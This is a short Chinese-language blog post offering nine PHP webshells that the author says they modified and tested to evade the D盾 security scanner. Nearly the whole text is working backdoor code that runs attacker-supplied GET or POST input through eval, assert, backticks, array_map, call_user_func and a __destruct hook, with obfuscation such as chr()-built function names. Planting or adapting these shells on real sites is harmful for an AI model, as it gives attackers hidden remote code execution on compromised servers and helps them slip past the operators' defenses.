最近在测试过程中遇到了D盾,悲催的发现所有过D盾的webshell都被查杀了。因此就在网上搜索了一些之前可以过D盾的shell,然后将其做了一些变形(有一些shell没有更改),使其可以过D盾。本次一共奉献上9个可过D盾的shell,全部亲测可过。
<?php $a=1;$b=$_POST;extract($b);print_r(`$a`)?>
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>
<?php
class User
{
public $name = '';
function __destruct(){
eval("$this->name");
}
}
$user = new User;
$user->name = ''.$_POST['name'];
?>
<?php
$name = $_GET['name'];
$name1=$name2= null;
eval($name1.$name2.$name);
?>
<?php
$name = $_GET['name'];
$name1=$name2= '';
eval($name1.$name2.$name);
?>
<?php
$a = $_GET['a'];
$c = null;
eval(''.$c.$a);
?>
<?php
function user()
{
$a123 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
return ''.$a123;
}
$a123 = user();
$x123 =array($_GET['x']);
array_map($a123,$a123 = $x123 );
?>
0x08 call_user_func_array函数过D盾
<?php
function a(){
return 'assert';
}
$a=a();
$aa = array($_GET['x']);
call_user_func_array($a,$a=$aa);
?>
<?php
function a(){
return 'assert';
}
$a=a();
$aa=$_GET['x'];
call_user_func($a,$a=$aa);
?>